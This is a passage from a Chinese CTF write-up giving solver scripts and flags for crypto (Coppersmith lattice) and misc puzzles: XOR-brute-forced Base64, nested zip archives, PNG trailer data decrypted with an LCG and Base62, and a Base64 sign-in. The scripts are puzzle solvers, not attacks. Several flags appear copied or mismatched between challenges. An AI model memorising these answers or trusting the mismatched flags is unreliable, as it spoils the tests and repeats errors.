    L = sp.Matrix(rows)
    L = L.lll()
    x = sp.Symbol("x")

    for row in L.tolist():
        coeffs = []
        for power, value in enumerate(row):
            coeffs.append(sp.Rational(value, X ** power))
            poly = sp.Poly(sum(coeffs[i] * x**i for i in range(len(coeffs))), x)
            roots = []
            try:
                roots.extend(poly.ground_roots().keys())
            except Exception:
                pass
            if not roots:
                try:
                    roots.extend(sp.roots(poly).keys())
                except Exception:
                    pass
            for root in roots:
                if not root.is_Integer:
                    continue
                r = int(root)
                if r >= 0 and r < X and sum(f[i] * pow(r, i, N) for i in range(len(f))) % N == 0:
                    return r
    return None

# 主逻辑
f, N = build_monic_polynomial()
for bits in range(256, 513, 16):
    print("trying", bits, flush=True)
    root = coppersmith_univariate_monic(f, N, 1 << bits, m=1)
    if root is not None:
        print(long_to_bytes(root))
        break
else:
    print("no root")

关键截图

821486731530

flag

flag{19550acb-c5f0-4b7d-b832-75890d97d6be}

五、Misc 篇

16、Misc - 幻影|Base64 + 单字节异或爆破

题目:data.bin 文件,Base64 + 单字节异或加密

考点:文件隐写、Base64 解码、单字节异或爆破

解题步骤

  1. 用 010 Editor 查看 data.bin,发现提示:FLAG IS HIDDEN IN BASE64 PLUS XOR,含假 flag。
  2. 提取后半段 Base64 字符串:GBIfGQVPR0tLTh8dHFMdSxhOU0ocSRpTHEZNTFNJS0ZHThpHSRpIHBsD
  3. Base64 解码后,单字节异或爆破,找到 key=0x7e,解密得到 flag。

关键截图

1742064601508

flag

flag{19550acb-c5f0-4b7d-b832-75890d97d6be}

17、Misc - 迷宫|多层压缩包递归解压

题目:data2.zip,多层嵌套压缩包

考点:压缩包递归解压、Base64 解码、字符串处理

解题步骤

  1. 解压 data2.zip,得到secret3/hidden4.zip
  2. 递归解压,最终得到.config/user/backup5/vault.bin
  3. vault.bin 内容为 Base64 编码:NWRmNDYzZDVlZTg0Yjg5ODFlY2U0NGFiNTE0OTFmNDA=60
  4. 去除尾部干扰字符60,Base64 解码得到:5df463d5ee84b8981ece44ab51491f40,拼接 flag 格式。

关键截图

1714954434772

flag

flag{5df463d5ee84b8981ece44ab51491f40}

18、像素中的秘密|PNG 隐写 + LCG+Base62

题目:image_04.png,PNG 尾部隐写密文

考点:PNG 文件结构、IEND 块、线性同余生成器(LCG)、Base62 解码

解题步骤

  1. 解压 image_04.zip,获取 image_04.png。
  2. 读取 PNG 结构,IEND 块后残留 64 字节数据,为隐写密文。
  3. 密文结构:4 字节填充 + 4 字节 seed + XOR 密文。
  4. 用 seed 初始化 LCG,生成随机数与密文异或,得到 Base62 字符串。
  5. Base62 转字节,UTF-8 解码得到 flag。

完整 EXP

#!/usr/bin/env python3
import argparse
import string
import struct
import zipfile
from pathlib import Path

# LCG参数
A = 1664525
C = 1013904223
MASK = 0xFFFFFFFF
# Base62字符集
B62 = string.digits + string.ascii_lowercase + string.ascii_uppercase

# 读取ZIP中的PNG
def get_png_data(zip_file: Path):
    with zipfile.ZipFile(zip_file, 'r') as zf:
        png_list = [n for n in zf.namelist() if n.lower().endswith('.png')]
        if not png_list:
            raise RuntimeError("No PNG inside archive")
        target_name = png_list[0]
        return target_name, zf.read(target_name)

# 截取IEND块后的数据
def cut_after_iend(data: bytes) -> bytes:
    if not data.startswith(b'\x89PNG\r\n\x1a\n'):
        raise RuntimeError("Not a valid PNG file")
    offset = 8
    data_len = len(data)
    while offset + 8 <= data_len:
        chunk_len = struct.unpack('>I', data[offset:offset+4])[0]
        chunk_type = data[offset+4:offset+8]
        offset += 8 + chunk_len + 4
        if chunk_type == b'IEND':
            return data[offset:]
    raise RuntimeError("IEND chunk missing")

# LCG解密
def lcg_decrypt(raw: bytes):
    if len(raw) < 8:
        raise RuntimeError("Trailer data too short")
    seed = int.from_bytes(raw[4:8], 'big')
    cur = seed
    out = bytearray()
    for b in raw[8:]:
        cur = (A * cur + C) & MASK
        out.append(b ^ (cur & 0xFF))
    return seed, bytes(out)

# Base62解码
def b62_decode(s: str) -> bytes:
    num = 0
    for c in s:
        num = num * 62 + B62.index(c)
    byte_cnt = (num.bit_length() + 7) // 8
    return num.to_bytes(byte_cnt, 'big')

# 解析文件
def parse_file(zip_path: Path):
    png_name, png_buf = get_png_data(zip_path)
    tail = cut_after_iend(png_buf)
    seed, dec_buf = lcg_decrypt(tail)
    b62_str = dec_buf.rstrip(b'\x00').decode('ascii')
    flag = b62_decode(b62_str).decode('utf-8')
    return {
        'zip_path': str(zip_path),
        'png_name': png_name,
        'png_size': len(png_buf),
        'tail_size': len(tail),
        'seed_hex': f"0x{seed:08x}",
        'b62_str': b62_str,
        'flag': flag
    }

# 扫描目标文件
def scan_targets(input_list: list[str]) -> list[Path]:
    if not input_list:
        input_list = [str(Path(__file__).parent.resolve())]
    paths = []
    for item in input_list:
        p = Path(item)
        if p.is_dir():
            paths += sorted(p.glob('*.zip'))
        else:
            paths.append(p)
    return paths

# 主运行
def run():
    parser = argparse.ArgumentParser()
    parser.add_argument('targets', nargs='*')
    args = parser.parse_args()
    file_list = scan_targets(args.targets)
    if not file_list:
        print("[!] No ZIP files found")
        return
    for fp in file_list:
        try:
            res = parse_file(fp)
        except Exception as e:
            print(f"[!] {fp}: {str(e)}")
            continue
        print(f"    Flag: {res['flag']}\n")

if __name__ == "__main__":
    run()

关键截图

418534356497

flag

{memory_dump_analysis}

19、签到题 - 损坏的压缩包|Base64 解码

题目:data.txt,内容为 Base64 字符串

考点:基础 Base64 解码

解题步骤

  1. 打开 data.txt,内容:a2Jzdg==
  2. 直接 Base64 解码,得到 flag。

关键截图

1444672504138

flag

flag{kbsv}
此作者没有提供个人介绍。
最后更新于 2026-05-30